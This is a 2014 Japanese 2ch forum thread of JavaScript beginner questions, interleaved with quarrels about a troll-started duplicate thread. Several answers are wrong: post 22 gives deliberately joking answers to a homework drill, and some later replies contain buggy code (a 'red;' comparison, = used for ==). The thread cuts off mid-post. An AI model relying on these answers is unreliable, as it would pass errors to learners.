[表示 : 全て 最新50 1-99 101- 201- 301- 401- 501- 601- 701- 801- 901- 1001- 2ch.scのread.cgiへ]
Update time : 12/02 18:40 / Filesize : 282 KB / Number-of Response : 1017
[このスレッドの書き込みを削除する]
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

+ JavaScript の質問用スレッド vol.121 +



1 名前:Name_Not_Found mailto:sage [2014/09/13(土) 19:11:44.98 ID:???.net]
JavaScript に関する何でも質問スレです。
お気軽にどうぞ。

2 名前:Name_Not_Found mailto:sage [2014/09/13(土) 19:12:15.46 ID:???.net]
■前スレ
+ JavaScript の質問用スレッド vol.120 +
peace.2ch.net/test/read.cgi/hp/1409373751/

■過去スレ全集
www2.atpages.jp/mirror/2ch/javascript/
usamimi.info/~mirrorhenkan/2ch/javascript/ (閲覧のみ)

■関連スレ
ECMAScript デス 4
toro.2ch.net/test/read.cgi/tech/1325448978/
【jQuery】JavaScript ライブラリ総合質問所 vol.3
toro.2ch.net/test/read.cgi/hp/1369444026/
【WHATWG】HTML5 Part6【W3C HTML WG】
toro.2ch.net/test/read.cgi/hp/1393153279/
Webサイト制作初心者用質問スレ part239
toro.2ch.net/test/read.cgi/hp/1393828207/
CSS初心者スレッド=12th=
toro.2ch.net/test/read.cgi/hp/1343429848/
Canvasについて語ろう
toro.2ch.net/test/read.cgi/hp/1305093769/

3 名前:Name_Not_Found mailto:sage [2014/09/13(土) 19:12:54.32 ID:???.net]
■各種仕様 ( fiddle.jshell.net/vSqKr/33/show/#Link も参照 )
◆ Standard ECMA-262
www2u.biglobe.ne.jp/~oz-07ams/prog/ecma262r3/ (ECMAScript 3 和訳)
www.ecma-international.org/ecma-262/5.1/ (ECMAScript 5.1 HTML版)
people.mozilla.org/~jorendorff/es6-draft.html (ECMAScript 6 有志HTML版)
kangax.github.io/es5-compat-table/ (ECMAScript 5 compatibility table)
kangax.github.io/es5-compat-table/es6/ (ECMAScript 6 compatibility table)
◆ HTML Standard (HTML5)
www.whatwg.org/specs/web-apps/current-work/multipage/
momdo.s35.xrea.com/web-html-test/spec/WD-html51-20130528/Overview.html (HTML5.1 部分訳)
www.hcn.zaq.ne.jp/___/WEB/WebStorage-ja.html (Web Storage 和訳)
◆ Document Object Model (DOM) / CSS Object Model (CSSOM)
www.hcn.zaq.ne.jp/___/WEB/DOM4-ja.html (DOM Standard (DOM4) 和訳)
www.w3.org/TR/DOM-Level-3-Events/ (DOM3 Events)
www.w3.org/TR/uievents/ (UI Events)
www.hcn.zaq.ne.jp/___/WEB/cssom-ja.html (CSSOM 和訳)
www.hcn.zaq.ne.jp/___/WEB/cssom-view-ja.html (CSSOM View Module 和訳)
◆ その他のWeb関連仕様
domparsing.spec.whatwg.org/ (DOM Parsing and Serialization - innerHTML等)
www.hcn.zaq.ne.jp/___/WEB/XHR-ja.html (XMLHttpRequest 和訳)
www.hcn.zaq.ne.jp/___/WEB/File_API-ja.html (File API 和訳)
www.whatwg.org/specs/ (WHATWGの仕様一覧)
◆ MDN (Netscape/Mozilla)
https://developer.mozilla.org/ja/docs
◆ JavaScript Garden (ja)
bonsaiden.github.com/JavaScript-Garden/ja/
◆ JSON (JavaScript Object Notation) 4
www.json.org/json-ja.html
◆ MSDN Library
msdn.microsoft.com/ja-jp/library/yek4tbz0.aspx (JavaScript)
msdn.microsoft.com/ja-jp/library/cc427807.aspx (JScript)
msdn.microsoft.com/ja-jp/library/cc409712.aspx (DHTML)

4 名前:Name_Not_Found mailto:sage [2014/09/13(土) 20:11:30.92 ID:???.net]
次スレのテンプレ案
jsfiddle.net/fH4cC/39/show/

5 名前:Name_Not_Found mailto:sage [2014/09/13(土) 22:28:07.09 ID:???.net]
>>1
またお前か
教えて君を擁護するためのテンプレで新スレを無駄に量産するな

6 名前:Name_Not_Found [2014/09/14(日) 20:59:18.42 ID:xbdCvSRU.net]
どんだけスレ立てるんだよww
まぁスレ立てる手間省けていいけど
乙!

7 名前:Name_Not_Found mailto:sage [2014/09/14(日) 21:43:27.09 ID:???.net]
乙なわけないだろ
この手の擁護はワンパターンすぎるわ

8 名前:Name_Not_Found [2014/09/15(月) 16:18:51.11 ID:gtUjIHaV.net]
phpのstrip_tag()と同じことができる
方法を考えて

9 名前:Name_Not_Found mailto:sage [2014/09/15(月) 20:33:15.48 ID:???.net]
>>8
ここは荒らしが立てたフライングスレだから他所へ行け

10 名前:Name_Not_Found [2014/09/16(火) 16:49:17.38 ID:6H52XqM3.net]
ひさびさに来たんだが
なにが荒らしなん?



11 名前:Name_Not_Found [2014/09/16(火) 18:10:51.54 ID:pcL6/osK.net]
文字列がすべてASCIIかを調べる正規表現を教えて頂きたいのですが、
自分で調べたところ

/[\x01-\x7F]/g



/[\x20-\x7E]/g

この2つが見つかりました。
これはどっちを使えばいいのでしょうか?
詳しい方教えてください

12 名前:Name_Not_Found mailto:sage [2014/09/16(火) 18:15:50.71 ID:???.net]
ごめんなさい、ここは現行スレじゃなかったようですね。
こちらでの質問は取り下げますので、下にお願いしますm(_ _)m

+ JavaScript の質問用スレッド vol.119 +
peace.2ch.net/test/read.cgi/hp/1409325796/

13 名前:Name_Not_Found mailto:sage [2014/09/16(火) 18:55:07.40 ID:???.net]
>>10
vol.119がある状況でvol.121をたてる必要はないから

14 名前:Name_Not_Found [2014/09/20(土) 16:06:26.93 ID:MSLISnVY.net]
あげあげ

15 名前:Name_Not_Found mailto:sage [2014/09/21(日) 12:15:05.74 ID:???.net]
このスレは荒らしが立てたスレなので下記スレッドに投稿して下さい

+ JavaScript の質問用スレッド vol.119 +
peace.2ch.net/test/read.cgi/hp/1409325796/

16 名前:Name_Not_Found mailto:sage [2014/09/21(日) 17:12:43.40 ID:???.net]
このスレはそのスレの次次スレだろ

17 名前:Name_Not_Found mailto:sage [2014/09/22(月) 11:47:31.06 ID:???.net]
だから荒らしだろ

18 名前:Name_Not_Found mailto:sage [2014/09/22(月) 12:00:57.77 ID:???.net]
立てたのは荒らしかも知れないが、
スレ自体はまともなので問題ないのでは?

スレに問題があるっていう人、何人もいたっけ?
俺の知る限り一人しかいないよ。

19 名前:Name_Not_Found mailto:sage [2014/09/23(火) 20:13:21.31 ID:???.net]
一人かどうかは知らんが、問題があるのは明らかだろ

20 名前:Name_Not_Found mailto:sage [2014/09/24(水) 13:07:24.54 ID:???.net]
問題あるよ
おかしな文句言ってる奴の頭にww



21 名前:榎本行宏 忍法帖【Lv=10,xxTP】(1+0:5) 【ponponfine95916】 ◆aXy7M764q2 [2014/09/28(日) 15:46:50.85 ID:e8x8AMN5.net BE:901796151-2BP(1000)]
この問題の答え誰かわかりますか?(*ω*)
《演習ドリル JavaScript(1)》
【01】JavaScriptの標準化されたものをなんと呼ぶか書きなさい
【02】JavaScriptは、「   」で動くスクリプトです。空欄を埋めなさい。

   1. サーバー 2.クライアント
【03】命令文(ステイタス)の終了を表す記号を書きなさい
【04】jsフォルダー内にある sample.js を読み込む記述をしなさい
【05】警告ウィンドウを表示するスクリプトを記述しなさい(値は不要)
【06】ブラウザに文字列を表示するスクリプトを記述しなさい(値は不要)
【07】JavaScriptでの変数宣言をするために必要な語句を書きなさい
【08】文字列「こんにちは」を、ブラウザに表示するコードを記述しなさい(script要素内)
【09】変数 msgに、ダイアログボックスに入力された値を代入しブラウザに表示する記述をしなさい
【10】変数 aに8を、変数 bに6を代入し、a を bで割った余りををコンソールに表示しなさい

22 名前:Name_Not_Found mailto:sage [2014/09/28(日) 17:15:03.86 ID:???.net]
> 【01】JavaScriptの標準化されたものをなんと呼ぶか書きなさい
LiveScript

>【02】JavaScriptは、「   」で動くスクリプトです。空欄を埋めなさい。
サーバーサイド等

> 【03】命令文(ステイタス)の終了を表す記号を書きなさい
なくてもよい

> 【04】jsフォルダー内にある sample.js を読み込む記述をしなさい
cat js/sample.js

> 【05】警告ウィンドウを表示するスクリプトを記述しなさい(値は不要)
<dialog id="alert">警告ウインドウ</dialog>
document.getElementById('alert').show()

> 【06】ブラウザに文字列を表示するスクリプトを記述しなさい(値は不要)
document.body.innerHTML = 'test';

> 【07】JavaScriptでの変数宣言をするために必要な語句を書きなさい
let

> 【08】文字列「こんにちは」を、ブラウザに表示するコードを記述しなさい(script要素内)
<script>document.write('<' + '/script>こんにちは<' + 'script>')</script>

> 【09】変数 msgに、ダイアログボックスに入力された値を代入しブラウザに表示する記述をしなさい
bootbox.prompt("input", "cancel", "ok", function(msg) { alert(msg) });

> 【10】変数 aに8を、変数 bに6を代入し、a を bで割った余りををコンソールに表示しなさい
[a,b]=[8,6],console.log(a/b)

23 名前:Name_Not_Found mailto:sage [2014/10/03(金) 18:10:26.35 ID:???.net]
JavaScript を自ら学ぶ人のための質問スレッドです。
>>24-27のテンプレを読んだ上で質問してください。

■質問を書く上で
(1) 煽り、コード制作依頼等、人を不快にさせる投稿はご遠慮下さい。公序良俗を守った応対を心がけてください。
(2) 他の人に迷惑をかけるスクリプトの質問はご遠慮ください。
  (ブラクラ、[戻る], [閉じる], [クリック] の妨害、画面占有など)
(3) 質問者及び議論を行う人はメール欄を空欄にし、名前にレス番を入れることを強く推奨します。回答者はなりすましを判断できませんので、なりすましが現れても自己責任となります。
(4) 常に自発的に調べる心構えを持ってください。
  具体的には「自分で調べてから質問する」「回答をもらってわからない単語があればGoogle検索してみる」など。
  わからない内容を代わりに調べてくれる回答者をお望みの方は余所で質問してください。
(5) 出来るだけ一般的な用語を使用してください。脳内オレオレ用語は混乱の元です。
(6) 出来るだけ「問題の事象が再現されること」を確認したサンプルコードを掲示してください。言葉による説明は行き違いが生まれる場合があります。
(7) サンプルコードに HTML が含まれる場合は validator.w3.org/ で [Check] してみてください。
(8) 質問を具体的かつ詳細に書くと回答を得られやすいです。>>2の質問テンプレートを活用してみてください。
(9) ライブラリ関連の質問は禁止です。関連スレにあるライブラリ質問スレで質問して下さい。
(10) 時にはあなたが望む「答え」だけでなく、「意見」などが寄せられる場合もあります。
■質問テンプレート
【環境】OS, ブラウザをバージョンと共に記入してください。(ex: IE8, Firefox4)
【何をしたのか】何をしたら問題の現象が発生するのか。再現手順を具体的に書いてください。
【エラーメッセージ】エラーメッセージがあれば正確に書き写してください。(Windows なら「コピット」を活用)
【期待する結果】最終的にどういう結果を望んでいるのか、を書いてください。
【サンプルコード】現象を再現可能な最小限のコードを書いてください。
 1レスに収まらないならコード投稿サイトを利用してください。
 jsdo.it/ jsbin.com/ jsfiddle.net/ ideone.com/

24 名前:Name_Not_Found mailto:sage [2014/10/03(金) 18:12:03.03 ID:???.net]
■前スレ
+ JavaScript の質問用スレッド vol.120 +
peace.2ch.net/test/read.cgi/hp/1409373751/

■過去スレ全集
www2.atpages.jp/mirror/2ch/javascript/
usamimi.info/~mirrorhenkan/2ch/javascript/ (閲覧のみ)

■テンプレ案
fiddle.jshell.net/fH4cC/160/show/

■関連スレ
ECMAScript デス 4
peace.2ch.net/test/read.cgi/tech/1325448978/
JavaScript ライブラリ総合質問所 vol.4
peace.2ch.net/test/read.cgi/hp/1400834117/
Webサイト制作初心者用質問スレ part242
peace.2ch.net/test/read.cgi/hp/1411718322/
CSS初心者スレッド=12th=
peace.2ch.net/test/read.cgi/hp/1343429848/
Canvasについて語ろう
peace.2ch.net/test/read.cgi/hp/1305093769/

25 名前:Name_Not_Found mailto:sage [2014/10/03(金) 18:13:56.54 ID:???.net]
■主要FAQ (全部は fiddle.jshell.net/vSqKr/33/show/ )
Q1. 別窓・フレーム内容やローカルファイルを読み書きしたいのですが…
A1. 別サーバのページやファイルの内容はセキュリティ制約でアクセス不可です。
Q2. document.write()でページ内容を追加したいのですが…
A2. 一度表示完了後にwriteするとページ内容が消去されます。DOM等別手段を。
Q3. table内容のinnerHTMLやDOMでの変更がうまく行かないのですが…
A3. IEではtable/tbody/trのinnerHTML書き換え不可です。DOMを使いますが、
  DOMの場合tableの直下にはtbody要素が(作らなくても)あることに注意。
Q4. フォーム部品名を変数にした「...myform.変数名.value」が動きません…
A4. 「document.forms.myform.elements[変数名].value」でどぞ。
  JavaScriptでは一般に「obj.x」と「obj['x']」は同じ意味です。
  グローバル変数はwindowのプロパティなので「x」と「window['x']」も。
Q5. CSSで設定した背景色がe.style.backgroundColorで取得できないのですが…
A5. 取得には document.defaultView.getComputedStyle() を使う必要あり。
  IEでは要素オブジェクトのプロパティcurrentStyleを使う。
Q6. setAttribute("class","foo")、setAttribute("onclick","bar()")が動きません…
A6. IEではそれは不可。「obj.className="foo"」「obj.onclick=bar」でどぞ。
Q7. タイマーやイベントハンドラに設定するコードにthisを含めたいのですが
  「"...this..."」とか「function(){...this...}」ではうまく行きません。
A7. 実行時にthisが別のものを指してしまってる。以下のようにthisを束縛保存。
  「function(x){return function(){...x...};}(this)」
Q8. input type="file"の値を設定(参照)できないのですが…
A8. セキュリティ制約のため設定は絶対に不可。参照はブラウザにより不可。
Q9. getElementById('ID名')や$('ID名')で要素が取れないのですが…
A9. コード実行時点でHTMLがそこまで読まれてない。window.onload 中でやるとか。

26 名前:Name_Not_Found mailto:sage [2014/10/03(金) 19:02:32.39 ID:???.net]
■各種仕様 ( fiddle.jshell.net/vSqKr/33/show/#Link も参照 )
◆ Standard ECMA-262
www2u.biglobe.ne.jp/~oz-07ams/prog/ecma262r3/ (ECMAScript 3 和訳)
www.ecma-international.org/ecma-262/5.1/ (ECMAScript 5.1 HTML版)
people.mozilla.org/~jorendorff/es6-draft.html (ECMAScript 6 有志HTML版)
kangax.github.io/es5-compat-table/ (ECMAScript 5 compatibility table)
kangax.github.io/es5-compat-table/es6/ (ECMAScript 6 compatibility table)
◆ HTML Standard (HTML5)
www.whatwg.org/specs/web-apps/current-work/multipage/
momdo.s35.xrea.com/web-html-test/spec/WD-html51-20130528/Overview.html (HTML5.1 部分訳)
www.hcn.zaq.ne.jp/___/WEB/WebStorage-ja.html (Web Storage 和訳)
◆ Document Object Model (DOM) / CSS Object Model (CSSOM)
www.hcn.zaq.ne.jp/___/WEB/DOM4-ja.html (DOM Standard (DOM4) 和訳)
www.w3.org/TR/DOM-Level-3-Events/ (DOM3 Events)
www.w3.org/TR/uievents/ (UI Events)
www.hcn.zaq.ne.jp/___/WEB/cssom-ja.html (CSSOM 和訳)
www.hcn.zaq.ne.jp/___/WEB/cssom-view-ja.html (CSSOM View Module 和訳)
◆ その他のWeb関連仕様
domparsing.spec.whatwg.org/ (DOM Parsing and Serialization - innerHTML等)
www.hcn.zaq.ne.jp/___/WEB/XHR-ja.html (XMLHttpRequest 和訳)
www.hcn.zaq.ne.jp/___/WEB/File_API-ja.html (File API 和訳)
www.whatwg.org/specs/ (WHATWGの仕様一覧)
◆ MDN (Netscape/Mozilla)
https://developer.mozilla.org/ja/docs
◆ JavaScript Garden (ja)
bonsaiden.github.com/JavaScript-Garden/ja/
◆ JSON (JavaScript Object Notation)
www.json.org/json-ja.html
◆ MSDN Library
msdn.microsoft.com/ja-jp/library/yek4tbz0.aspx (JavaScript)
msdn.microsoft.com/ja-jp/library/cc427807.aspx (JScript)
msdn.microsoft.com/ja-jp/library/cc409712.aspx (DHTML)

27 名前:Name_Not_Found mailto:sage [2014/10/03(金) 19:05:40.91 ID:???.net]
■諸注意
vol.115でlodashを不必要に推奨して啓蒙する行為が多く確認されており、ライブラリ系の質問はvol.116から禁止されました。
vol.115,116ではライブラリ禁止する発言が見られた直後にライブラリを許可する意図で次スレを立てる行為が確認されています。
本スレッドでライブラリ許可を求める発言が確認された場合は不要な争いを避ける為、スルーすることを推奨します。
ライブラリの質問はライブラリスレへ誘導し、誘導行為への反論はスルーしてください。

28 名前:Name_Not_Found mailto:sage [2014/10/03(金) 21:34:40.68 ID:???.net]
お疲れ

29 名前:Name_Not_Found mailto:sage [2014/10/03(金) 22:25:17.44 ID:???.net]
とりあえずお疲れ

30 名前:Name_Not_Found [2014/11/01(土) 23:10:29.60 ID:0xdu+1aq.net BE:194272503-2BP(2000)]
HTML5のdrag&amp;drop機能との連携について質問です
下のような図になっていて
i.imgur.com/MWODR7N.png
要素をdrag&amp;dropすることは出来ました

次にドラッグしてきた時に重なった下の要素を取得しようと思い四角い要素にondragoverの属性を付けてドラッグしてみましたが
(図で言うと上の枠からドラッグしてきて既にある赤い四角と重なった時に下の赤い四角を取得しようとした)
重ねるとドロップされるボックス自体の要素が返ってきました

四角い要素を取得するにはどうしたらいいのでしょうか?



31 名前:Name_Not_Found [2014/11/01(土) 23:18:59.79 ID:0xdu+1aq.net BE:194272503-2BP(2000)]
すいません書き方が間違っていただけでした

32 名前:Name_Not_Found mailto:sage [2014/11/01(土) 23:21:03.67 ID:???.net]
>>30
こんなサンプル見つけたよ。

cdn.liginc.co.jp/demo/2014/07/zuya/dd/index4.html

参考になるかな?

$(function() {

$(".dragDiv").draggable();

$( "#div3" ).droppable({
accept : ".dragDiv" , // 受け入れる要素を指定
drop : function(event , ui){
// dragされてきたオブジェクトを取得してクローン作製
var dragId = ui.draggable.attr("id");
if($(this).find(".drop" + dragId).length == 0){
$(this).append('<span class="drop' + dragId +'">' + ui.draggable.text() + 'が置かれたよ</span>');
}
} ,
out : function (event , ui){
var dragId = ui.draggable.attr("id");
$(this).find(".drop" + dragId).remove();
}

});
});

33 名前:Name_Not_Found mailto:sage [2014/11/06(木) 04:00:21.25 ID:???.net]
こっちは荒らしが勝手にテンプレはずしたスレだから立て直しといたよ


誘導

+ JavaScript の質問用スレッド vol.121 +
peace.2ch.net/test/read.cgi/hp/1415213701/l50

34 名前:Name_Not_Found mailto:age [2014/11/06(木) 09:05:42.82 ID:???.net]
本スレ上げ

35 名前:Name_Not_Found mailto:sage [2014/11/06(木) 10:07:16.18 ID:???.net]
>>33


36 名前:Name_Not_Found mailto:sage [2014/11/06(木) 11:06:09.58 ID:???.net]
>>33
幼稚なことすんなゴミ
新陳代謝の低い板なんだからスレがえんえん残るだろボケ

37 名前:Name_Not_Found mailto:sage [2014/11/06(木) 11:10:49.89 ID:???.net]
テンプレなんて意味ないんだから立った順番に粛々と使っていけばいい
ここはvol22として利用する

38 名前:Name_Not_Found mailto:sage [2014/11/07(金) 15:24:22.70 ID:???.net]
ここは実質vol.22なのか
では、>>33に移動しようか

39 名前:Name_Not_Found mailto:sage [2014/11/07(金) 16:53:20.73 ID:???.net]
(function(a){
})(a||a=[]);

こんな感じだったかよく覚えてないけど
括弧の中で代入してるコード見たことあるんですけど自分で描いてみたらエラーになりました
aっていうのが存在しなかったら[]を渡したい場合はどう書けばいいですか?

40 名前:Name_Not_Found mailto:sage [2014/11/07(金) 16:53:50.57 ID:???.net]
>>39
var a = a || [];
(function(a){
})(a);



41 名前:Name_Not_Found mailto:sage [2014/11/07(金) 18:04:58.25 ID:???.net]
>>39-40
peace.2ch.net/test/read.cgi/hp/1415213701/23-25n からのコピペか
分かりやすい自演だな

42 名前:Name_Not_Found mailto:sage [2014/11/07(金) 19:57:58.43 ID:???.net]
spanをgetElementsByTagNameで取得して
obj.style.color = 'red'ってやってbodyに挿入したんですけど
この挿入した要素をquerySelectorで取得したいんですがdocument.querySelector('span[style="color: red"]')で取得できません
javascriptからstyleを設定しないで直接HTMLに<span style="color: red"></span>って書くと取得できました
どうやったらjavascriptでstyleを設定した要素をquerySelectorで取得できるかおしえてください

43 名前:Name_Not_Found mailto:sage [2014/11/07(金) 20:20:20.19 ID:???.net]
setAttribute使うのはなしでおねがいします
なかったらないでいいです

44 名前:Name_Not_Found mailto:sage [2014/11/07(金) 21:02:08.30 ID:???.net]
>>42-43
それは恐ろしく悪い実装だからお勧めしない
素直に class や id を使え

45 名前:Name_Not_Found mailto:sage [2014/11/07(金) 21:39:38.98 ID:???.net]
それは無理ですそういうコードを書いているWEBサービスを僕が使わせていただいている身で、便利にするブックマークレットを作りたいからです

46 名前:Name_Not_Found mailto:sage [2014/11/07(金) 22:11:54.74 ID:???.net]
そういえばJavaScriptでCSSを書き換えると自動的に値が変換されることがあるよな
elm.style.color = "#ff0000"; // => color: rgb(255, 0, 0);
elm.style.width = "0"; // => width: 0px;
elm.style.margin = "0 1px 0 1px"; // => margin: 0px 1px;
どういう風に変換するのかは、仕様で決まってるのかな?
それともブラウザが勝手に決めてるのだろうか

47 名前:Name_Not_Found [2014/11/07(金) 23:25:25.62 ID:rGU/ECK3.net]
>>39

(function(a){
})(a || []);


こうじゃねーの?

48 名前:Name_Not_Found mailto:sage [2014/11/07(金) 23:29:23.03 ID:???.net]
Uncaught ReferenceError: a is not defined

49 名前:Name_Not_Found [2014/11/07(金) 23:30:59.88 ID:rGU/ECK3.net]
じゃあこうだろw

(function(a){
})(window.a || []);

50 名前:Name_Not_Found mailto:sage [2014/11/07(金) 23:47:57.79 ID:???.net]
それでもいいけど、aがfalseyだったら思わぬことになるから
(function(a){
})("a" in window ? a : []);
がいいんじゃない?



51 名前:Name_Not_Found mailto:sage [2014/11/08(土) 00:52:02.23 ID:???.net]
>>39
関数外で宣言する必要がまるでない
(function(){
var a = a || [];
})();

52 名前:Name_Not_Found mailto:sage [2014/11/08(土) 00:57:39.11 ID:???.net]
>>45
では、面倒くさいが、
span[style="color:red"], span[style="color: red"], span[style="color : red"], span[style="color:#f00;"], span[style="color: #f00"]
のようにホワイトスペースやカンマの有無の全ての組み合わせを , 区切りで宣言しろ
ブラウザがstyle属性値をどのような書式で持つかは実装依存
ブラウザがバージョンアップして挙動が変更することも考えられるので必ず「全てのパターン」を宣言しろ

53 名前:Name_Not_Found mailto:sage [2014/11/08(土) 01:01:39.96 ID:???.net]
>>51
それだと関数内の var で a が新たに宣言されてしまうので不可
var a = "test";
(function(){
var a = a || []; // 関数外の宣言に関わらず [] が代入される
})();

54 名前:Name_Not_Found mailto:sage [2014/11/08(土) 01:11:54.57 ID:???.net]
>>53
"test" でも [] でも良い状況ってどんなケース?
[] で初期化するんだからオブジェクトを想定していたんだが

55 名前:54 mailto:sage [2014/11/08(土) 01:13:42.72 ID:???.net]
あと、その条件なら普通にグローバルコードで宣言しろよ、と思うね
var a = a || [];

56 名前:Name_Not_Found mailto:sage [2014/11/08(土) 01:14:41.99 ID:???.net]
>>54
a = "test"じゃなくても{}でも[]でも同じこと
試せばわかる

57 名前:Name_Not_Found mailto:sage [2014/11/08(土) 01:22:39.75 ID:???.net]
>>56
なるほど、これでいいかね?
var a = [];
(function(){
var a = this.a || [];
}).call(this);

58 名前:Name_Not_Found mailto:sage [2014/11/08(土) 01:37:21.74 ID:???.net]
ここは実質vol.22です
質問者は以下のスレに移動してください

+ JavaScript の質問用スレッド vol.121 +(c)2ch.net
peace.2ch.net/test/read.cgi/hp/1415213701/

59 名前:Name_Not_Found mailto:sage [2014/11/08(土) 01:40:57.34 ID:???.net]
>>39peace.2ch.net/test/read.cgi/hp/1415213701/23n のコピペだからここで回答するだけ無駄

60 名前:Name_Not_Found mailto:sage [2014/11/08(土) 02:12:08.58 ID:???.net]
>>59
すまん、向こうで回答しなおしてきた
荒らすのもいい加減にして欲しい



61 名前:Name_Not_Found mailto:sage [2014/11/08(土) 02:17:33.79 ID:???.net]
>>42
document.querySelector('span[style="color: red;"]')

ただしこっちの方が安定的
Array.prototype.filter.call(document.querySelectorAll("span"), function(e){ return e.style.color == "red;" })[0]

62 名前:Name_Not_Found [2014/11/08(土) 08:47:50.81 ID:6IP4Y34A.net]
$('span').filter(function() { return this.style.color = 'red'})

63 名前:Name_Not_Found mailto:sage [2014/11/08(土) 10:54:19.86 ID:???.net]
querySelectorの第2引数の情報MDNに乗ってなかったよく知ってるな

64 名前:Name_Not_Found mailto:sage [2014/11/08(土) 13:07:30.32 ID:???.net]
質問者は以下のスレに移動してください

+ JavaScript の質問用スレッド vol.121 +(c)2ch.net
peace.2ch.net/test/read.cgi/hp/1415213701/

65 名前:Name_Not_Found [2014/11/08(土) 13:08:58.96 ID:YzcprxwW.net]
>>64
いやですw

66 名前:Name_Not_Found mailto:sage [2014/11/08(土) 13:12:09.89 ID:???.net]
荒らしの立てたスレだから荒らしだけが残ればいい

67 名前:Name_Not_Found mailto:sage [2014/11/08(土) 14:04:11.51 ID:???.net]
>>46
>どういう風に変換するのかは、仕様で決まってるのかな?

要素 element の element.style の戻り値が実装する
CSSStyleDeclaration インタフェースの
getPropertyValue() メソッドを呼び出したときの
戻り値の書式は CSSOM で決まってる。
(たぶんこれが element.style.xxx でアクセスしたとき得られる値だろう)

color の場合

"rgb(R, G, B)" (不透明度 1 の場合)または
"rgb(R, G, B, A)"
になる(R, G, B は10進数で A は小数、カンマの後はスペース)

element.style.color = ... で設定したときに element の style 属性にも
同じように反映されると考えるのが自然だが、仕様には書かれてないね

HTML 仕様にも style 属性のふるまいについて
www.w3.org/TR/css-style-attr/
を参照しているが
element.style.color = ... で値を設定したときについては
どうも書かれてないみたい

68 名前:Name_Not_Found [2014/11/08(土) 14:06:35.92 ID:44JfXZ+T.net]
> span[style="color : red"],

これだと、例えばbackgroudが定義された時
色は赤なのにマッチしなくなるぞ

69 名前:Name_Not_Found [2014/11/08(土) 14:08:27.84 ID:44JfXZ+T.net]
というかユーザースタイルシート(CSS)を書いてるのならともかく、
JavaScriptのコードを書いてるのにstyle属性をセレクタで
取得しようというのはセンスが悪いよ。

70 名前:Name_Not_Found mailto:sage [2014/11/08(土) 14:30:42.40 ID:???.net]
>>68
span[style="color: red"], span[style="color : red"], span[style="color :red"],
span[style^="color: red;"], span[style^="color : red;"], span[style^="color :red;"],
span[style^="color: red ;"], span[style^="color : red ;"], span[style^="color :red ;"],
span[style*=";color: red;"], span[style*=";color : red;"], span[style*=";color :red;"],
span[style*=";color: red ;"], span[style*=";color : red ;"], span[style*=";color :red ;"],
span[style$=";color: red;"], span[style$=";color : red;"], span[style$=";color :red"],
span[style$="; color: red;"], span[style$="; color : red;"], span[style$="; color :red"]
のように部分一致にすれば良い
これでも足りないが、ホワイトスペースの組み合わせを考えると、気が遠くなる

>>69
querySelector がナンセンスなのは同意だが、querySelectorでないと困ると駄々をこねるので>>52で回答した
ComputedStyle を取るほうがまだマシだな



71 名前:Name_Not_Found mailto:sage [2014/11/08(土) 15:32:07.79 ID:???.net]
>70に付け加えるなら「color: #f00, color: #ff0000, color: red, color: rgb(255, 0, 0)」のパターンもある
ホワイトスペースや ; の組み合わせパターンも考えると、かなり大変だな
ナンセンスな実装には違いない

72 名前:Name_Not_Found mailto:sage [2014/11/08(土) 16:55:19.91 ID:???.net]
function abc(){
var result = aaaa();
result.ok = function(e){

}
}
って書くのと
function ok(){

}
function abc(){
var result = aaaa();
result.ok = ok;
}
}
って書くのどっちがメモリにやさしいですか?
前者はabc()を呼ぶたびに中の無名関数が生成されていってメモリの無駄になる気がするんですが

73 名前:Name_Not_Found mailto:sage [2014/11/08(土) 16:58:56.26 ID:???.net]
>>72
実際にベンチマーク取ればわかるだろ?

わからければ・・・・違いはないということさ。

74 名前:Name_Not_Found mailto:sage [2014/11/08(土) 19:27:34.31 ID:???.net]
なんかあっちはわざと?くだらない話ばかりして
グダグダしてるから、こっちにまともな答え書いておくわ。

Math.random() は0から1未満の数を返す。だから0にはなるが1.0にはならない。

https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/random
> [0,1) 、……つまり、0 以上 1 未満の範囲で疑似乱数を返します。Java と同様に、現在時刻をシードとして乱数を生成します。

求めたい値が、0〜5であれば、0, 1, 2, 3, 4, 5 の6パターンなので
Math.floor(Math.random()*6)が正解。

Math.random()が1がでるのであれば、1×6 = 6になるが、
1未満を返すので6未満、つまり最大でも5.9999・・・の小数点切り捨てで5が最大になる。
0〜1未満を6倍すると以下のようになるから、計算上は公平になる。

Math.floor(0 〜 0.9999・・・) = 0
Math.floor(1 〜 1.9999・・・) = 1
Math.floor(2 〜 2.9999・・・) = 2
Math.floor(3 〜 3.9999・・・) = 3
Math.floor(4 〜 4.9999・・・) = 4
Math.floor(5 〜 5.9999・・・) = 5


Math.floor(Math.random()*6) - 1; だとrandom() = 0の時
Math.floor(0*6) - 1 = Math.floor(0) - 1 = -1 なので明らかに間違い。

75 名前:Name_Not_Found [2014/11/08(土) 19:34:02.86 ID:CMgSWh8C.net]
偽スレと本スレの格の違いがでたなw

76 名前:Name_Not_Found [2014/11/08(土) 19:39:24.23 ID:/Hj0O7lg.net]
>例えばさ、乱数が0.0から0.9まで出るとするじゃん
>そうすると
>0.0*6=0.0
>0.1*6=0.6
>0.2*6=1.2
>0.3*6=1.8
>0.4*6=2.4
>0.5*6=3.0
>0.6*6=3.6
>0.7*6=4.2
>0.8*6=4.8
>0.9*6=5.4
>になって偏りがでるよね
>実際には問題にならないだろうけど
>凄い気になる

ってのがあったんだけど、まあいいや
ありがとう

77 名前:Name_Not_Found mailto:sage [2014/11/08(土) 19:48:02.89 ID:???.net]
こっちもぐだぐだ感あふれてるわ
さっきはあっちのスレにたまたま人が多かっただけで何も変わらん

78 名前:Name_Not_Found mailto:sage [2014/11/08(土) 19:48:20.50 ID:???.net]
>>76
>例えばさ、乱数が0.0から0.9まで出るとするじゃん

それは精度が低い(小数点第一位で終わってる)から。

random()が浮動小数点数を返すのは
精度が高く無いと、数値をかけた時に狂うから。

例えば0〜5ではなく、0〜99の時は
Math.random()*100になるが
0.4 だと 40、0.5 だと 50。41〜49が出る確率は0になってしまう。

これが0.4〜0.5の間もちゃんとでるのであれば、
0.41*100 = 41、0.42*100 = 42 のようにちゃんとでてくれる。

random()が0〜1未満の浮動小数点数(なるべく小数点以下が多い数)を
返すのは、ある範囲の整数を返すときに必要な「任意の数をかける」時に
問題ないようにするためなんだよ。

君が言ってる隔たりの原因は精度

79 名前:ェ低いから。 []
[ここ壊れてます]

